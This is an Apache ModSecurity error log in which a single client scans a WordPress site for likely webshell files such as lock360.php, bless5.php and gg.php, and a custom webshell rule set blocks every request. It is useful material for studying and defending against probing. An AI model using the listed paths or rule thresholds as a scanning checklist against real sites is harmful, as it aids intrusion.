[Fri Feb 27 16:32:54.503583 2026] [:error] [pid 62998:tid 63001] [client 20.220.232.101:7995] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aaFWtlQeueXZDUmoLonw4gAAAQA"]
[Fri Feb 27 16:32:55.031466 2026] [:error] [pid 49306:tid 49328] [client 20.220.232.101:7971] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aaFWt_nSUDZue59Px9t_nQAAAVQ"]
[Fri Feb 27 16:32:55.575847 2026] [:error] [pid 54231:tid 54251] [client 20.220.232.101:7911] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaFWt-Tvb5AeyJCdY7DQfAAAAFE"]
[Fri Feb 27 16:32:56.203095 2026] [:error] [pid 49306:tid 49325] [client 20.220.232.101:7967] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaFWuPnSUDZue59Px9t_nwAAAVE"]
[Fri Feb 27 16:32:56.821278 2026] [:error] [pid 49306:tid 49313] [client 20.220.232.101:7922] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaFWuPnSUDZue59Px9t_ogAAAUU"]
[Fri Feb 27 16:32:57.300845 2026] [:error] [pid 56075:tid 56085] [client 20.220.232.101:7887] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaFWucKBhrfI6KNv9RgtcwAAAAg"]
[Fri Feb 27 16:32:57.825906 2026] [:error] [pid 54231:tid 54256] [client 20.220.232.101:8062] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaFWueTvb5AeyJCdY7DQfQAAAFY"]
[Fri Feb 27 16:32:58.423781 2026] [:error] [pid 56075:tid 56093] [client 20.220.232.101:7925] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaFWusKBhrfI6KNv9RgtdAAAAA8"]
[Fri Feb 27 16:32:58.976631 2026] [:error] [pid 56075:tid 56090] [client 20.220.232.101:7972] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaFWusKBhrfI6KNv9RgtdQAAAAw"]
[Fri Feb 27 16:32:59.491136 2026] [:error] [pid 62998:tid 63011] [client 20.220.232.101:8051] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaFWu1QeueXZDUmoLonw5QAAAQk"]
[Fri Feb 27 16:33:00.136904 2026] [:error] [pid 52073:tid 52090] [client 20.220.232.101:7893] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/log.php"] [unique_id "aaFWvIa650YPyxXVeRZz2QAAAY4"]
[Fri Feb 27 16:33:00.810811 2026] [:error] [pid 54101:tid 54131] [client 20.220.232.101:8000] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/log.php"] [unique_id "aaFWvFY5qgRktcYTGFsiaQAAAdc"]
[Fri Feb 27 16:33:01.359866 2026] [:error] [pid 52073:tid 52087] [client 20.220.232.101:8189] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/log.php"] [unique_id "aaFWvYa650YPyxXVeRZz3QAAAYs"]
[Fri Feb 27 16:33:02.010019 2026] [:error] [pid 49306:tid 49326] [client 20.220.232.101:8034] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/log.php"] [unique_id "aaFWvvnSUDZue59Px9t_pAAAAVI"]
[Fri Feb 27 16:33:02.660551 2026] [:error] [pid 52073:tid 52094] [client 20.220.232.101:7905] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aaFWvoa650YPyxXVeRZz3wAAAZI"]
[Fri Feb 27 16:33:03.229782 2026] [:error] [pid 52073:tid 52097] [client 20.220.232.101:8024] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aaFWv4a650YPyxXVeRZz4QAAAZU"]
[Fri Feb 27 16:33:03.691491 2026] [:error] [pid 49306:tid 49317] [client 20.220.232.101:8129] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aaFWv_nSUDZue59Px9t_pwAAAUk"]
[Fri Feb 27 16:33:04.435667 2026] [:error] [pid 52073:tid 52093] [client 20.220.232.101:7960] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aaFWwIa650YPyxXVeRZz5QAAAZE"]
[Fri Feb 27 16:33:05.098773 2026] [:error] [pid 52073:tid 52083] [client 20.220.232.101:7968] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless5.php"] [unique_id "aaFWwYa650YPyxXVeRZz5wAAAYc"]
[Fri Feb 27 16:33:05.627958 2026] [:error] [pid 52073:tid 52077] [client 20.220.232.101:8097] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless5.php"] [unique_id "aaFWwYa650YPyxXVeRZz6wAAAYE"]
[Fri Feb 27 16:33:06.232670 2026] [:error] [pid 52073:tid 52076] [client 20.220.232.101:7821] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless5.php"] [unique_id "aaFWwoa650YPyxXVeRZz7QAAAYA"]
[Fri Feb 27 16:33:06.912541 2026] [:error] [pid 52073:tid 52082] [client 20.220.232.101:7945] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless5.php"] [unique_id "aaFWwoa650YPyxXVeRZz7wAAAYY"]
[Fri Feb 27 16:33:07.487544 2026] [:error] [pid 54102:tid 54159] [client 20.220.232.101:7880] [client 20.220.232.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aaFWw3i74D4fiYUm_GdI3wAAAI8"]
[Fri Feb 27 16:33:07.978881 2026] [:error] [pid 52073:tid 52083] [client 20.220.232.101:7896] [client 20.220.232.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aaFWw4a650YPyxXVeRZz9gAAAYc"]
[Fri Feb 27 16:33:08.457887 2026] [:error] [pid 49306:tid 49310] [client 20.220.232.101:7962] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aaFWxPnSUDZue59Px9t_qQAAAUI"]
[Fri Feb 27 16:33:08.927658 2026] [:error] [pid 52073:tid 52082] [client 20.220.232.101:7844] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aaFWxIa650YPyxXVeRZ0AAAAAYY"]
[Fri Feb 27 16:33:09.585135 2026] [:error] [pid 52073:tid 52084] [client 20.220.232.101:7983] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aaFWxYa650YPyxXVeRZ0BgAAAYg"]
[Fri Feb 27 16:33:10.029366 2026] [:error] [pid 52073:tid 52088] [client 20.220.232.101:8045] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aaFWxoa650YPyxXVeRZ0DgAAAYw"]
[Fri Feb 27 16:33:10.504702 2026] [:error] [pid 52073:tid 52092] [client 20.220.232.101:7958] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aaFWxoa650YPyxXVeRZ0EwAAAZA"]
[Fri Feb 27 16:33:10.963591 2026] [:error] [pid 52073:tid 52084] [client 20.220.232.101:7989] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aaFWxoa650YPyxXVeRZ0FwAAAYg"]
[Fri Feb 27 16:33:11.630490 2026] [:error] [pid 49306:tid 49314] [client 20.220.232.101:7946] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aaFWx_nSUDZue59Px9t_rQAAAUY"]
[Fri Feb 27 16:33:12.066440 2026] [:error] [pid 52073:tid 52087] [client 20.220.232.101:7920] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aaFWyIa650YPyxXVeRZ0IgAAAYs"]
[Fri Feb 27 16:33:12.521272 2026] [:error] [pid 52073:tid 52083] [client 20.220.232.101:7881] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aaFWyIa650YPyxXVeRZ0JQAAAYc"]
[Fri Feb 27 16:33:13.112456 2026] [:error] [pid 52073:tid 52096] [client 20.220.232.101:8022] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aaFWyYa650YPyxXVeRZ0LAAAAZQ"]
[Fri Feb 27 16:33:13.827237 2026] [:error] [pid 49306:tid 49311] [client 20.220.232.101:7818] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aaFWyfnSUDZue59Px9t_rwAAAUM"]
[Fri Feb 27 16:33:14.385523 2026] [:error] [pid 52073:tid 52084] [client 20.220.232.101:8170] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aaFWyoa650YPyxXVeRZ0OAAAAYg"]
[Fri Feb 27 16:33:14.860596 2026] [:error] [pid 54231:tid 54236] [client 20.220.232.101:7889] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/juuuu.php"] [unique_id "aaFWyuTvb5AeyJCdY7DQgQAAAEI"]
[Fri Feb 27 16:33:15.327096 2026] [:error] [pid 49306:tid 49326] [client 20.220.232.101:7994] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/juuuu.php"] [unique_id "aaFWy_nSUDZue59Px9t_tAAAAVI"]
[Fri Feb 27 16:33:15.927787 2026] [:error] [pid 56075:tid 56084] [client 20.220.232.101:7872] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/juuuu.php"] [unique_id "aaFWy8KBhrfI6KNv9RgteQAAAAc"]
[Fri Feb 27 16:33:16.384917 2026] [:error] [pid 52073:tid 52100] [client 20.220.232.101:7947] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/juuuu.php"] [unique_id "aaFWzIa650YPyxXVeRZ0RgAAAZg"]
[Fri Feb 27 16:33:16.969473 2026] [:error] [pid 54231:tid 54246] [client 20.220.232.101:7985] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aaFWzOTvb5AeyJCdY7DQgwAAAEw"]
[Fri Feb 27 16:33:17.497408 2026] [:error] [pid 54103:tid 54192] [client 20.220.232.101:7812] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aaFWzevG4MPCmE0B2sB2awAAANU"]
[Fri Feb 27 16:33:17.996435 2026] [:error] [pid 54231:tid 54245] [client 20.220.232.101:7874] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aaFWzeTvb5AeyJCdY7DQiQAAAEs"]
[Fri Feb 27 16:33:18.559587 2026] [:error] [pid 49306:tid 49325] [client 20.220.232.101:7822] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aaFWzvnSUDZue59Px9t_uQAAAVE"]
[Fri Feb 27 16:33:19.054997 2026] [:error] [pid 49306:tid 49314] [client 20.220.232.101:7908] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aaFWz_nSUDZue59Px9t_uwAAAUY"]
[Fri Feb 27 16:33:19.594923 2026] [:error] [pid 62998:tid 63013] [client 20.220.232.101:7986] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aaFWz1QeueXZDUmoLonw7AAAAQs"]
[Fri Feb 27 16:33:20.248631 2026] [:error] [pid 52073:tid 52091] [client 20.220.232.101:7825] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aaFW0Ia650YPyxXVeRZ0WwAAAY8"]
[Fri Feb 27 16:33:20.782592 2026] [:error] [pid 54101:tid 54130] [client 20.220.232.101:7949] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aaFW0FY5qgRktcYTGFsiagAAAdY"]
[Fri Feb 27 16:33:21.411109 2026] [:error] [pid 56075:tid 56085] [client 20.220.232.101:7996] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aaFW0cKBhrfI6KNv9RgthwAAAAg"]
[Fri Feb 27 16:33:21.882834 2026] [:error] [pid 54101:tid 54124] [client 20.220.232.101:8110] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aaFW0VY5qgRktcYTGFsiawAAAdA"]
[Fri Feb 27 16:33:22.355295 2026] [:error] [pid 56075:tid 56092] [client 20.220.232.101:8045] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aaFW0sKBhrfI6KNv9RgtjAAAAA4"]
[Fri Feb 27 16:33:22.881247 2026] [:error] [pid 49306:tid 49309] [client 20.220.232.101:7913] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aaFW0vnSUDZue59Px9t_vgAAAUE"]
[Fri Feb 27 16:33:23.442996 2026] [:error] [pid 54102:tid 54163] [client 20.220.232.101:7837] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/04.php"] [unique_id "aaFW03i74D4fiYUm_GdI5wAAAJM"]
[Fri Feb 27 16:33:24.087343 2026] [:error] [pid 49306:tid 49332] [client 20.220.232.101:7997] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/04.php"] [unique_id "aaFW1PnSUDZue59Px9t_xAAAAVg"]
[Fri Feb 27 16:33:24.582439 2026] [:error] [pid 62998:tid 63010] [client 20.220.232.101:7917] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/04.php"] [unique_id "aaFW1FQeueXZDUmoLonw8gAAAQg"]
[Fri Feb 27 16:33:25.056755 2026] [:error] [pid 62998:tid 63011] [client 20.220.232.101:7981] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/04.php"] [unique_id "aaFW1VQeueXZDUmoLonw9AAAAQk"]
